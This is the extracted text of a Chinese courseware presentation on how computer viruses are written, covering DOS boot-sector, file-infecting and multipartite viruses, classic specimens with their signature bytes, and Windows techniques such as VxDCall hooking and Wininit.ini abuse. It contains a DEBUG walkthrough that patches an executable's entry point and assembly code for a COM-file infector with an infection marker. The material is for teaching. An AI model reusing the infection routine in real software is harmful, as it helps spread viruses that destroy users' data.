计算机病毒编制关键技术及典型计算机病毒.ppt
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- 计算机病毒 编制 关键技术 典型
- 资源描述:
-
单击此处编辑母版标题样式,单击此处编辑母版副标题样式,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,*,单击此处编辑母版标题样式,单击此处编辑母版文本样式,第二级,第三级,第四级,第五级,*,*,计算机病毒编制关键技术及典型计算机病毒,计算机病毒编制关键技术及典型计算机病毒计算机病毒编制关键技术及典型计算机病毒引导型病毒是指病毒侵入系统引导区,从而引发破坏行为的一种病毒特性。DOS启动时,绝大多数引导型病毒感染硬盘主引导扇区和DOS引导扇区。7.1 DOS病毒分析 7.1.1 引导型病毒,引导型病毒是指病毒侵入系统引导区,从而引发破坏行为的一种病毒特性。,DOS,启动时,绝大多数引导型病毒感染硬盘主引导扇区和,DOS,引导扇区。,7.1 DOS,病毒分析,7.1.1,引导型病毒,1.DOS,下的磁盘引导区结构,在,DOS,操作系统控制下,磁盘引导区一般由,3,部分组成:主引导记录(,Main Boot Record,)、磁盘分区表,(Disk Partition Table,,,PDT),和主引导记录有效标志字。,(,1,)硬盘的主引导记录结构,主引导记录结构如表,7.1,(见书,178,页)所示。,分区表自偏移,1BEH,处开始,共,64,个字节,每,16,个字节为一个分区说明项,存放分区结构信息,因此表中可填入,4,个分区信息。,硬盘主引导记录程序存放在分区表的,0000H00D9H,处,它的功能是读出自举分区的,Boot,程序,并把控制转移到分区,Boot,程序。程序流程如下:,将本来读入到,0000,:,7C00H,处的硬盘主引导记录程序移至,0000,:,61BH,处;,顺序读入,4,个分区表的自举标志,以找出自举分区,若找不到,转而执行,INT 18H,的,Boot,异常执行中断程序;,找到自举分区后,检测该分区的系统标志,若为,32,位,FAT,表或,16,位,FAT,表但支持,13,号中断的扩展功能,就转到执行,13,号中断的,41,号功能调用进行安装检验,检验成功,就执行,42,号扩展读功能调用把,Boot,区程序读入到内存,0000,:,7C00H,处,成功,跳到第步,若读失败或系统标志为其他,就调用,13,号中断的读扇区功能调用把,Boot,读到,0000,:,7C00H,;,用,13,号中断的读扇区功能时,用两种方式分别进行,5,次试读。第一种方式是直接从自举分区的头扇区读入,Boot,程序,若读成功,但结束标志不是,55AA,,则改用第二种方式,又如果用第一种方式试读,5,次均不成功,就改用第二种方式。若两种方式试读均失败,就转到出错处理程序;,读入,Boot,区程序成功,转至,0000,:,7C00H,处执行,Boot,程序。,(,2,)分区表结构,分区表占据偏移地址,1BEH01FDH,范围的空间,共,64B,,每,16B,为一个分区说明项,存放分区结构信息,如表,7.2,(见书,179,页)所示。,每一个分区表中扩展分区说明项实际上指示下一个分区表的位置(簇、磁头号、扇区号)。最后一个分区表没有扩展分区说明项。,每一个分区表都会有一个实际分区说明项,也就是对逻辑盘的实际起始、终止位置进行说明。,除逻辑盘主引导记录及分区表共占用一个扇区,其他分区表则各占一个扇区,自该扇区,01BEH,处开始,以,55AAH,结束。,2.,引导型病毒的运行机制,引导型病毒是把原来的主引导记录保存后用自己的程序替代掉原来的主引导记录。启动时,当病毒体得到控制权,在做完了处理后,病毒将保存的原主引导记录读入,0000,:,7C00H,处,然后将控制权交给原主引导记录进行启动。这类病毒的感染途径是通过磁盘操作引起的。例如,当用一个染毒的系统软盘启动计算机时,就有可能将病毒传染给硬盘,从而引起硬盘引导区染毒;同样,当某软盘在一台染毒的计算机上运行时,硬盘上的病毒就可能感染软盘。,因此,引导型病毒能否成功运行的关键技术涉及有以下几个方面:保存主引导记录、调用,BIOS,磁盘服务功能、寻找病毒感染途径和病毒驻留位置。,(,1,)保存原始主引导记录,众所周知,文件型病毒用以保存被感染修改的部分是文件。引导型病毒是否也可以使用文件存储被覆盖的引导记录呢?答案是否定的。由于主引导记录病毒先于操作系统执行,因而不能使用操作系统的功能调用,而只能使用,BIOS,的功能调用或者使用直接的,I/O,设计。一般使用,BIOS,的磁盘服务将主引导记录保存于绝对的扇区内。由于,0,道,0,面,2,扇区是保留扇区,因而通常使用它来保存。,(,2,),BIOS,磁盘服务功能的调用,在引导型病毒的程序代码中,常常会用到,BIOS,磁盘服务功能的调用,,INT 13H,中断调用子功能,02H,、,03H,能进行磁盘读写操作,因此,常被病毒代码利用。,利用,INT 13H,子功能,02H,调用读扇区入口为:,AH=02H,,,AL=,读入的扇区数,,CH=,磁道号,,CL=,扇区号(从,1,开始),,DH=,头号,,DL=,物理驱动器号,,ES:BX-,要填充的缓冲区;返回值为:当,CF,置位时表示调用失败,,AH=,状态,,AL=,实际读入的扇区数。,利用,INT 13H,子功能,03H,调用写扇区入口为:,AH=03H,,,AL=,写入的扇区数,,CH=,磁道号,,CL=,扇区号(从,1,开始),,DH=,头号,,DL=,物理驱动器号,,ES:BX-,缓冲区;返回值为:当,CF,置位时表示调用失败,,AH=,状态,,AL=,实际写入的扇区数。,(,3,)病毒感染途径,通常这类病毒通过截获中断向量,INT 13H,进行系统监控。当存在有关于软盘或硬盘的磁盘读写时,病毒将检测其是否干净,若尚未感染则感染之。,(,4,)驻留位置,通常病毒通过修改基本内存的大小来获取自己驻留的空间。基本内存大小的存储位置在,40H:13H,,单位为,KB,。病毒体存在于最后的一点内存中。,3.,典型的引导型病毒,(,1,)病毒名:,Disk Killer,病毒别名:磁盘杀手,特征代码:,C3 10 E2 F2 C6 06 F3 01 FF 90 EB 55,病毒长度:,520B,病毒特征:感染,Boot,扇区,当用染有该病毒的软盘启动系统时,病毒进入内存,并感染硬盘。当进行,I/O,操作时,病毒会感染其他软盘。,当病毒侵入软盘时,除感染软盘,Boot,扇区外,额外占用,3,个簇,并将其在,FAT,表中标为坏簇。病毒编写者此时犯了一个错误,即将病毒占用的,3,个簇相邻的一个簇也标为坏簇了。,当病毒侵入硬盘时,除感染硬盘,Boot,扇区外,还将自身隐藏在,0,柱,0,面道的最后,5,个扇区中。在某些硬盘中这些扇区属于保留扇区,受到系统的保护,用,DEBUG,的,L,命令不可能看到它们,必须用,DEBUG,的,A,命令编写一段汇编程序才能看到。,在计算机内部,病毒占用了,INT8,,设置了内部计数器。对计算机每秒,13.2s,的时钟中断进行计数。当计数值达到,300000H(,也即,3145728/18.2=172842s,,约合,48h),时,病毒被触发。这时,键盘死锁,一些杂乱数据被写入硬盘,直至全部数据被毁坏为止。,该病毒在,I/O,操作时,会随时将计数器的值写入硬盘保存起来。由于计数器的值被保存在硬盘中,病毒可以对工作时间进行累计。达到预定时间,病毒引爆。,(,2,)病毒名:,Michelangelo,病毒别名:米开朗基罗,特征代码:,33 C9 B4 04 CD 1A 81 FA 06 03 74 01 CB 33 D2 B9 01 00 B8 D9,病毒长度:,430B,病毒特征:每年,3,月,6,日,(,意大利画家米开朗基罗的生日,),发作,病毒盘启动后,内存总量减少,1KB,。,该病毒占用中断,INT 13H,,对硬盘而言,将原主引导扇区写入,0,柱,0,头,7,扇区;对软盘来说,若为,360KB,软盘,则将,Boot,扇区写入,0,道,1,头,3,扇区,对,1.2MB,、,1.4MB,软盘,则将原,Boot,扇区写入,0,道,1,头,14,扇区。,在染毒扇区的,13EH,处,有病毒特征码值:,33 C9 B4 04 CD 1A 81 FA 06 03 74 01 CB 33 D2 B9 01 00 B8 D9,。,该病毒用,INT 1AH,的,04,号功能,查询系统日期,当日期值为,3,月,6,日时,病毒被触发,病毒发作时,将磁盘从,0,道,0,头开始,对,0255,个扇区全部乱写;一旦乱写,无法恢复。,FAT,表、目录全部被破坏。,(,3,)病毒名:,Ping Pong,病毒别名:小球,病毒特征:病毒触发后,屏幕上显示一个跳动的小球,小球碰到屏幕,4,个边缘会反弹,它对西文屏幕显示干扰不大,对中文屏幕扰乱较大。,病毒感染,Boot,扇区,使用染毒磁盘启动系统时,病毒进驻内存。病毒可以感染不带,DOS,系统的软盘,用这种染毒盘启动系统时,会显示出错信息,要求用户插入系统盘,此时病毒已经进入内存,任何插入的清洁的,DOS,盘片在启动时,都可能受到感染。,病毒除占用,Boot,扇区外,在磁盘中还占用了一个空簇,其中一个扇区用于存放病毒代码,另一扇区保存原,Boot,扇区代码,这个被病毒占用的串簇被标为“坏簇”以防止被操作系统写入别的数据。,该病毒不会攻击,80286,、,80386 CPU,的微机,因为,病毒中使用的某些代码在上述微机中不合法。小球病毒只能在,8086,和,8088 CPU,的微机上工作。当小球病毒感染,80286,、,80386 CPU,的微机时,将会死机,虽然系统崩溃没有什么危险,但是个麻烦。,4.,病毒名:,Marijuana,病毒别名:大麻,病毒特征:病毒触发后,屏幕上显示如下信息:,“,Your PC is now Stone!”,感染大麻病毒的软盘,Boot,扇区中,可找到如下字符串:,“,Your PC is now Stone!”,“LEGALISE MARIJUANA!”,病毒占用了软盘的,Boot,扇区,将原,Boot,扇区存放在,0,道,1,侧,3,扇区;对硬盘而言,病毒占用硬盘的主引导扇区,将原主引扇区保存在,0,柱,0,头,7,扇区。,文件型病毒是,DOS,病毒中的大家族,文件病毒有广义和狭义之称。广义的可执行文件病毒包括了通常所说的可执行文件病毒、源码病毒,甚至,bat,病毒和,Word,宏病毒,狭义的可执行文件病毒即,com,型和,exe,型病毒。这里主要介绍,com,和,exe,型病毒。,7.1.2,文件型病毒,,和,exe,文件结构,(,1,),com,文件结构及原理,com,文件结构比较简单,它包含程序的一个绝对映像,即为了运行程序准确的处理器指令和内存中的数据,,MS-DOS,通过直接把该映像从文件复制到内存,从而加载,com,程序,而不做任何改变。,为加载一个,com,程序,,MS-DOS,首先试图分配内存,因为,com,程序必须位于一个,64KB,的段中,所以,com,文件的大小不能超过,65 024(64KB,减去用于,PSP,的,256B,和用于一个起始堆栈的至少,256B),。如果,MS-DOS,不能为程序、一个,PSP,、一个起始堆栈分配足够内存,则分配尝试失败。否则,,MS-DOS,分配尽可能多的内存,(,直至所有保留内存,),,即使,com,程序本身不能大于,64KB,。在试图运行另一个程序或分配另外的内存之前,大部分,com,程序释放任何不需要的内存。,分配内存后,,MS-DOS,在该内存的前,256B,建立一个,PSP,,如果,PSP,中的第一个,FCB,含有一个有效驱动器标识符,则置,AL,为,00H,,否则置为,0FFH,。,MS-DOS,还置,AH,为,00H,或,0FFH,,这依赖于第二个,FCB,是否含有一个有效驱动器标识符。建造,PSP,后,,MS-DOS,在,PSP,后立即开始(偏移,100H,)加载,com,文件,它置,SS,、,DS,和,ES,为,PSP,的段地址,接着创建一个堆栈。为创建这个堆栈,在已分配了至少,64KB,内存的情况下,,MS-DOS,置,SP,为,0000H,;否则,它置寄存器为比所分配的字节总数大,2,的值。最后,将,0000H,进栈。,MS-DOS,通过把控制传递给偏移,100H,处的指令而启动程序。程序设计者必须保证,COM,文件的第一条指令是程序的入口点。,(,2,),exe,文件结构及原理,exe,文件比较复杂,属于一种多段的结构,是,DOS,最成功和复杂的设计之一。要了解,exe,文件,首先需要了解,exe,文件的文件头结构。,每个,exe,文件包含一个文件头和一个可重定位程序映像。文件头包含,MS-DOS,用于加载程序的信息。文件头还指向一个重定位表,该表包含指向程序映像中可重定位段地址的指针链表。,exe,文件的文件头结构如表,7.3,(见书,187,页)所示。,程序映像,包含处理器代码和程序的初始数据,紧接在文件头之后。它的大小以字节为单位,等于,exe,文件的大小减去文件头的大小,也等于,exHeaderSize,的域的值乘以,16,。,MS-DOS,通过把该映像直接从文件复制到内存加载,exe,程序,然后调整定位表中说明的可重定位段地址。,定位表是一个重定位指针数组,每个指向程序映像中的可重定位段地址。文件头中的,exRelocItems,域说明了数组中指针的个数,,exRelocTable,域说明了分配表的起始文件偏移量。每个重定位指针由两个,16,位值组成:偏移量和段值。,为加载,exe,程序,,MS-DOS,首先读文件头以确定,exe,标志并计算程序映像的大小。然后它试图申请内存。首先,它计算程序映像文件的大小加上,PSP,的大小再加上,EXEHEADER,结构中的,exMinAlloc,域说明的内存大小这,3,者之和。如果总和超过最大可用内存块的大小,则,MS-DOS,停止加载程序并返回一个出错值。否则,它计算程序映像的大小加上,PSP,的大小再加上,EXEHEADER,结构中,exMaxAlloc,域说明的内存大小之和,如果第二个总和小于最大可用内存块的大小,则,MS-DOS,分配计算得到的内存量。否则,它分配最大可用内存块。,分配完内存后,,MS-DOS,确定段地址,也称为起始段地址,,MS-DOS,从此处加载程序映像。如果,exMinAlloc,域和,exMaxAlloc,域中的值都为零,则,MS-DOS,把映像尽可能地加载到内存最高端。否则,它把映像加载到紧挨着,PSP,域之上。,接下来,,MS-DOS,读取重定位表中的项目调整所有由可重定位指针说明的段地址。对于重定位表中的每个指针,,MS-DOS,寻找程序映像中相应的可重定位段地址,并把起始段地址加到它之上。一旦调整完毕,段地址便指向了内存中被加载程序的代码和数据段。,MS-DOS,在所分配内存的最低部分建造,256B,的,PSP,,把,AL,和,AH,设置为加载,com,程序时所设置的值。,MS-DOS,使用文件头中的值设置,SP,与,SS,,调整,SS,初始值,把起始地址加到它之上。,MS-DOS,还把,ES,和,DS,设置为,PSP,的段地址。最后,,MS-DOS,从程序文件头读取,CS,和,IP,的初始值,把起始段地址加到,CS,之上,把控制转移到位于调整后地址处的程序。,2.,文件型病毒编制原理,文件型病毒的编制方法一般是将病毒程序植入正常程序中或是将病毒程序覆盖正常程序的部分代码,以源文件作为病毒程序的载体,将病毒程序隐藏其间。正常情况下,看不出程序有可变化,当一定的条件满足时,病毒发作,感染和破坏系统。一般作法是利用,com,或,exe,文件的文件头,找到可执行文件的入口,将病毒程序安插到程序中,重新设置或修改文件的起始代码,并使其能转到病毒程序运行。病毒程序代码一般分为,3,个模块:初始设置模块、感染模块和破坏模块。下面以,com,文件为例介绍其病毒编写方法。,文件型病毒要感染,com,文件有两种方法,一种是将病毒加载在,com,文件前部,一种是加在文件尾部。在前部时原文件的前,3B,被修改。当,DOS,加载,exe,文件时,根据文件头信息,调入一定长度的文件,设置,SS,、,SP,从,CS:IP,开始执行。病毒一般将自己加在文件的末端,并修改,CS,、,IP,的值,使其指向病毒起始地址,修改文件长度信息、,SS,和,SP,。,com,文件是一种单段执行结构,起源于,CPM-86,操作系统,其执行文件代码和执行时内存映像完全相同,起始执行偏移地址为,100H,,对应于文件的偏移是,0,。,(,1,)病毒编制实验,以,com,型文件(如,DOS 6.22,英文版中的,程序)为例,进行如下病毒实验:,利用,DEBUG,程序,读出,DOS 6.22,英文版中的,程序。代码如下:,C:debug,-u,0CA4:0100 B8371EMOV AX,1E37,;,注意前,3,个字节的内容(病毒修改的地方),0CA4:0103 BA3008MOVDX,0830,0CA4:0106 3BC4CMPAX,SP,0CA4:0108 7369 JNB0173,0CA4:010A 8BC4MOVAX,SP,0CA4:010C 2D4403SUBAX,0344,0CA4:010F 90 NOP,0CA4:0110 25F0FFANDAX,FFF0,0CA4:0113 8BF8MOVDI,AX,0CA4:0115 B9A200MOVCX,00A2,0CA4:0118 90 NOP,0CA4:0119 BE7E01MOVSI,017E,0CA4:011C FCCLD,0CA4:011D F3REPZ,0CA4:011E A5MOVSW,0CA4:011F 8BD8MOVBX,AX,-r,AX=0000BX=0000CX=09F1DX=0000SP=FFFEBP=0000SI=0000DI=0000,DS=0CA4ES=0CA4SS=0CA4CS=0CA4IP=0100 NV UP EI PL NZ NA PO NC,0CA4:0100 B8371EMOVAX,1E37,从,0CA4:0AF1,处开始,增加一段病毒代码。,-a af1,0CA4:0AF1 mov ah,0,0CA4:0AF3 int 16;,等待按键,0CA4:0AF5 cmp a1,1b;,等待按,Esc,键,0CA4:0AF7 jnz af1,0CA4:0AF9 mov word ptr 100,37b8,;,恢复程序开始的,3,个字节,0CA4:0AFF mov byte ptr 102,1e,0CA4:0B04 push cs;,进栈,CS:100,0CA4:0B05 mov si,100,0CA4:0B08 push si,0CA4:0B09 retf;retf,回到,CS:100,,程序开始处,0CA4:0B0A,修改原,程序,0CA4:0100,处的值。,-a 100,0CA4:0100 jmp af1 ;,将程序开头改成跳转到修改的模块,0CA4:0103,-rcx,CX 09F1,:a0a,-w,Writing 00A0A bytes,-q,结果。程序写盘退出后,再执行,more,程序,发现如果不按,Esc,键程序无法执行。这是因为,首先在源程序的尾部添加了一段程序(相当于病毒模块),该程序是等待接受键盘输入,当键盘输入,Esc,时,恢复源程序并返回执行源程序;然后将源程序开始处的指令修改成无条件跳转到所添加程序的开始位置,所以,当程序启动后,直接转去执行所添加的程序段。,(,2,),com,文件型病毒运行机制,感染,com,文件的典型做法是在源文件的尾部增加一段病毒代码,并将源文件的起始指令修改为无条件跳转到病毒代码开始处,头结构部分如下:,cs:0100jmp endoffile;db 0e9h,;dw size of com file,.,endoffile:,virusstart:,virus code,mov ax,orgcode,mov 100,ax,mov al,orgcode+2,mov 102,al,virussize=$-virusstart,resume:,jmp 100;db 0e9h,;dw-(sizeofcom+virussize),orgcode db 3 dup(?);,源文件由,0100,开始的,3,个字节,感染文件,先将开始的,3,字节保存在,orgcode,中,然后更改为,0e9h,,,size of com file,。将,resume,开始的,3,字节改为,0e9h,,,(sizeofcom+virussize),。将病毒写入,com,文件的末尾。,完整的感染代码还需要有已感染的判断和文件大小的判断,如下介绍:,假设,DS:DX,指向文件名,VirusSize,VirusStart,的定义如上,并做以下的修改,:,保存开始的,4,个字节,db 90h,0E9h,dw sizeofcom,替换,以,0E990h,为感染标记,.,mov ax,3d01h,int 21h;open for r/w,jc OpenError,push dx,xchg ax,bx,mov ax,4202h,xor cx,cx,xor dx,dx,int 21h;seek to end,or dx,dx,jnz complete;file larger than 64k,donot infect,cmp ax,0FEEEh-VirusSize-11,jnb complete;com file too large for infect,cmp ax,4,Jbcomplete;file less than 4 bytes,donot infected,mov di,offset orgcode,mov di+6,ax,add di+6,VirusSize;generate code to replace,mov ax,4200h,xor cx,cx,xor dx,dx,int 21h;seek to begin,mov cx,4,mov dx,di,mov ah,3fh,int 21h;read 4 bytes,jc complete,cmp word ptr di,0E990h,;if has been infected,should be,;nop,;jmp XXXX,jz complete,mov cx,4,add dx,cx,mov ah,40h,int 21h;write 4 byte to the beginning,mov ax,4202h,xor cx,cx,xor dx,dx,int 21h;seek to end,mov ah,40h,mov dx,VirusStart,mov cx,VirusSize+11,int 21h;write Virus Code to COM,complete:,mov ah,3fh,int 21h;close file,ErrorOpen:,.,3.,典型的文件型病毒,(,1,),Vienna,病毒,病毒别名:维也纳,感染类型:,com,文件,病毒特征:病毒运行时,首先在当前文件目录或搜索路径的一个目录中,寻找第一个未被感染的,com,文件,并对其进行感染。受感染的,com,文件长度增加,648B,。,感染,com,文件时,在宿主程序的开始,3,个字节放置一条,JMP,命令,病毒代码放置在宿主程序的尾部。用程序开头处的,JMP,命令跳向病毒代码,使病毒代码在宿主程序之前获得运行权。,该病毒每次运行都企图感染一个,com,文件,如果被感染的磁盘上贴有写保护标签时,屏幕上显示报警信息:“,Write protect error Writing drive x”,。,(,2,),1701/1704-B,病毒别名:雨点,感染类型:,com,文件,病毒特征:被感染的宿主程序开始处,3B,放置一条,JMP,命令。病毒代码放在宿主程序的后部。感染后,文件增长,1701B,或,1704B,。,病毒中含有,682B,的密码。宿主程序开始处原来的,3B,被隐藏在密码中,静态时,不能找出宿主程序开始处的原来的,3B,信息,虽然密码算法很简单,但为病毒的治疗设置了障碍。,(,3,),Jerusalem,病毒别名:耶路撒冷、以色列、犹太人、,1813,、黑色星期五,感染类型:,com,文件、,exe,文件、,ovl,文件,病毒特征:对,com,文件做单次感染,病毒代码放在,com,文件的头部。对,exe,文件做重复感染,可使,exe,文件在重复感染中不断膨胀,占据大量磁盘空间。病毒感染,exe,文件时,病毒代码贴附在,exe,文件的尾部。,病毒中有一个毁灭性模块,可以使计算机内部数据乱移,并有能力破坏,AT,机中由电池供电的,CMOS RAM,区的信息。,(,4,)病毒名:,Yankee Doodle,病毒别名:杨基歌,感染类型:每一个可执行文件,病毒长度:,2890+(015)B,病毒特征:利用内存控制块,MCB,常驻内存;病毒进驻内存以后,感染每一个可执行文件;在时间为,17,:,00,时,如果病毒已常驻内存,将演奏杨基歌。,(,5,)病毒名:,4096,病毒,(100,年,),病毒别名:,100,年,病毒长度:,4096B,病毒特征:病毒将自身藏在内存高端,它明明占用了内存区,可是当,BIOS,检查内存容量时,却不能发现病毒占用了内存空间。,受感染的文件头部被病毒篡改,如果病毒进驻内存时用户查看文件头部数据,病毒将保存在别处的源文件头部显示给用户,使之不能觉察。,受感染的文件长度增加,4KB,,病毒在文件目录中做了标记。执行,MR,命令时,病毒能识别哪些文件是感染过的,在显示该文件有关信息时,能把病毒修改过的文件长度、日期、文件头部隐藏起来,把正确的原数值显示给用户看。该病毒含有密码,并且使用了高超的反动态跟踪技巧。病毒编写时,作者犯了一个错误,它忘记把文件年份、文件长度写入文件目录,从而严重损坏文件。,所谓混合型病毒,即既能感染引导区,又能感染文件的病毒。但并非将文件型病毒和引导型病毒简单的叠加在一起,其中有一个转换过程,这是最关键的。一般采取以下方法:在文件中的病毒执行时将病毒写入引导区,这是很容易理解的。染毒硬盘启动时,用引导型病毒的方法驻留内存,但此时,DOS,并未加载,无法修改,INT 21,中断,也就无法感染文件,可以用这样的办法,修改,INT 8,中断,保存,INT 21,中断目前的地址,用,INT 8,中断服务程序监测,INT 21,中断的地址是否改变,若改变则说明,DOS,已加载,则可修改,INT 21,中断指向病毒传染段。以上是混合型病毒关键之处。,7.1.3,混合型病毒,主要指针对,Windows 9x,操作系统的病毒。现在的计算机用户一般都安装,Windows,操作系统。,Windows,病毒一般感染,Windows 9x,系统,其中最典型的病毒有,CIH,病毒。但这并不意味着可以忽略系统是,Windows NT,系列包括,Windows 2000,的计算机。一些,Windows,病毒不仅在,Windows 9x,上正常感染,还可以感染,Windows NT,上的其他文件。主要感染的文件扩展名为,exe,、,scr,、,dll,、,ocx,等。,7.2 Windows,病毒分析,7.2.1 Windows,病毒的特点,在早期版本的,Windows,中,,DOS,管理文件系统。而在,Windows 95/98/2000/NT,中就不同了,,Windows 95/98/2000/NT,通过使用设备驱动和,32,位程序来管理传统文件系统。,Windows 95/98/2000/NT,要求确保文件系统的完整性。为了达到以上目的,禁止,DOS,程序,(,和传统病毒,),对硬盘进行直接读写,除非它们用特殊的,Windows,专用代码。但是,在,Windows 95/98/2000/NT,中允许,DOS,程序和病毒对软盘进行直接读写。以上对病毒十分有利,对用户来说是十分不幸的;病毒仍然可以用相同的方式工作,如同在硬盘中工作一样。并且,Windows 95/98/2000/NT,很少能阻止它。,当用户没有注意到用一张有病毒的软盘来引导时,病毒能感染,MBR,。病毒将在每次计算机引导时装载,在每次,DOS,对话框时安装到系统中。这样当用户对软盘进行操作时,病毒可以将自身复制到另外的软盘,从而蔓延到其他的计算机。另外,和,DOS,一样,,Windows 95/98/2000/NT,没有文件等级保护。利用文件进行传播的病毒仍然可以在,Windows 95/98/2000/NT,下进行复制。这与其他的,32,位操作系统一样,例如,OS/2,,它们也允许对文件进行写操作。这样,文件型病毒恰恰像它们在,DOS,环境下一样进行复制。,一些使,Windows 95/98/2000/NT,有吸引力的新技术,实际上帮助病毒在整个网络中复制。例如工作组网络环境十分容易地使病毒快速传播。再有,由于,Windows 95/98/2000/NT,没有文件等级保护,如果在网络中的计算机被病毒感染,在对等网络中共享的没有被保护的驱动器和文件将很快被感染。,随着,Windows,操作系统的流行,也催生了如下新型病毒。,OLE 2(Object Linking and Embedded),病毒:这种类型的病毒通过将自己假扮成公共服务的一个,OLE2,服务器来进行传播。之后,当一个,OLE2,客户申请一个,OLE2,服务器来提供公共服务时,实际上病毒取得了控制权。它能将自己复制到其他文件和计算机,之后运行它替换了的原有,OLE2,服务器。这个应用程序甚至不知道自己是同另一个病毒进行“通话”,而不是实际上的,OLE2,服务器。如果这个,OLE2,服务器在一个完全不同网络计算机,这个病毒能很快地在网络上传播。,扩展,Shell,病毒:,Microsoft,使这种,Shell,在,Windows,系统中完全扩展来允许自定义。从技术上讲,病毒能成为其中的一个扩展,因为,Windows 95,对于扩展,Shell,不需要确认,因此病毒可以写成一种扩展,Shell,,这样就可以取得控制权并且复制自身。,虚拟设备驱动病毒,VxD,病毒,(Virtual Device Driver),:,Windows,系统,VxD,对整个计算机具有完全控制权。如果通过编制特定程序,它可以直接对硬盘进行写操作。它具有写,Windows,系统,Kernel,模块相同的特权,因此它具有广泛的自由来控制系统。在,Windows,系统中增加了动态装载,VxD,能力,是指一个,VxD,,不需要每次都在内存中,而是在系统需要时。这意味着病毒可以用一段很小的代码来激活一个动态,VxD,,这可以导致严重的系统崩溃。因为,Windows 95/98,对,VxD,的行为没有限制,因此,VxD,病毒可以绕过所采用的任何保机制。,另外一种可能产生病毒的原因是,Windows,的易操作编程工具的流行。过去,病毒的编制者需要了解大量的关于汇编和操作系统的知识来创建,TSR,程序来进行复制。对于,Windows,来说,许多新手可以用可视化开发工具的高级语言来编写病毒,因为它们更像用户运行的其他程序,因此很难检测出来。,(,1,)感染,任何一个病毒都需要有寄主,而把病毒代码加入寄主程序中(伴侣病毒除外)。在,Windows,操作系统中,一般文件型病毒是以,PE,文件作为病毒代码的寄主程序,病毒的感染过程,就是病毒侵入,PE,文件的过程。,7.2.2 Windows,病毒的运行机制,(,2,)分配驻留所需内存,对于驻留形的病毒,分配驻留所需内存是必需的。在,DOS,下使用由于所有的应用程序都映射在相同的线性地址空间里,使用一般的内存分配调用就足够了。而在,Win 32,下,每个应用程序都有自己的线性地址空间,必须使用特殊的函数分配,2GB,以上的系统地址。,(,3,)截留,FILE I/O,操作,驻留型的病毒通过截留,FILE I/O,来激活,可以通过使用,VxD,服务,IFSMgr_InstallFileSystemAPIHook,(如,CIH,)或截留,VxDCall,中的,DOS Services callback,(如,HPS,)实现。,Windows,中截留文件,I/O,操作在病毒中使用的主要有两种:,使用,VxDCallIFSMgr_InstallFileSystemHook,。,截留,Kernel32.dll,中导出的第一个函数,VxDCall,对,DOS INT 21,的呼叫(,EAX=2A0010,)。,VxDCall,的代码如下:,mov eax,dword ptr esp+04,pop dword ptr esp,call fword ptr cs:xxxxxxxx,只要将这个地址指向的地址改为自己的过程入口,就捕获了所有的,VxDCall,。,进入这个过程时:,eax=service number,,如果是,DOS INT 21,将是,2A0010,esp2c,调用,Int 21,时,eax,的值,其他寄存器为调用时所需的值(段寄存器无用)。以后的就和在,DOS,下写病毒没有差别了。,1.,利用,Wininit.ini,文件技术,Wininit.ini,文件属于,Windows,启动配置文件,主要用于对一些在,Windows,运行过程中无法进行删除、更名或更新等操作的文件在启动过程中进行上述操作,它存在的时间很短,操作完成后即被自动删除。,Wininit.ini,文件的格式简述如下:,Wininit.ini,文件有,3,个可能的段,其中“,rename”,段的格式为:,7.2.3 Windows,病毒编制的关键技术,rename,filename1=filename2,行“,filename1=filename2”,相当于依次执行“,copy filename2 filename1”,及“,del filename2”,这两个,DOS,命令。,启动时,,Windows,将用,filename2,覆盖,filename1,,再删除,filename2,,这就实现了用,filename2,更新,filename1,的目的,如果,filename1,不存在,实际结果是将,filename2,改名为,filename1,;如果要删除文件,可令,filename1,为,nul,。,在,Windows,中,一个可执行文件如果正在运行或某个库文件(*,.dll,、*,.vxd,、*,.sys,等)正在被打开使用,则不能被改写或删除。例如,在资源管理器中无法删除,explorer.exe,,或者在,Windows,的,GDI,界面下,删除显示驱动程序库文件、文件子系统库文件等。若要对这些文件进行升级,改动,就必须在,Windows,保护模式核心启动前进行,即利用基于,Wininit.ini,文件的一个机制来完成这个任务。,这个机制是:将删除或改写这类文件的应用程序按一定的格式把命令写入,Wininit.ini,,,Windows,在重启时,将在,Windows,目录下搜索,Wininit.ini,文件,如果找到,就遵照该文件指令删除、改名、更新文件,完成任务后,将删除,Wininit.ini,文件本身,继续启动过程。所以,Wininit.ini,文件中的指令只会被执行一次,列目录时也通常没有它的踪影。,Windows,病毒在感染文件时,也碰到了这样一个问题,某些文件,因为系统正在使用,不能被改写和感染,早期的,Windows,病毒如,CIH,病毒采用,VxD,技术来解决这个问题,这易造成系统不稳定,后期的病毒大多采用,Windows,提供的标准方法,Wininit.ini,文件来解决这个问题。如下几种新出现的,Windows,病毒即使用了这种方法。,(,1,),Win32.Kriz展开阅读全文

咨信网声明:本文档由用户上传并分享,仅供学习交流、研究之用,未经授权,严禁复制、发行、汇编、翻译或网络传播等,侵权必究。
咨信网小贴示:
1、浏览或下载可查看了解,请点击【咨信网告知】。
2、下载文件中如有侵权或不适当内容,将立即纠正。
3、如果因为网速或其他原因下载失败请重新下载,重复下载[60天内]不扣币。
4、开具发票登录电脑端申请,请点击【索取发票】。
咨信网客服组:【微信客服】
1、浏览或下载可查看了解,请点击【咨信网告知】。
2、下载文件中如有侵权或不适当内容,将立即纠正。
3、如果因为网速或其他原因下载失败请重新下载,重复下载[60天内]不扣币。
4、开具发票登录电脑端申请,请点击【索取发票】。
咨信网客服组:【微信客服】


计算机病毒编制关键技术及典型计算机病毒.ppt
















自信AI助手














微信客服
客服QQ
发送邮件
意见反馈



链接地址:https://www.zixin.com.cn/doc/14600883.html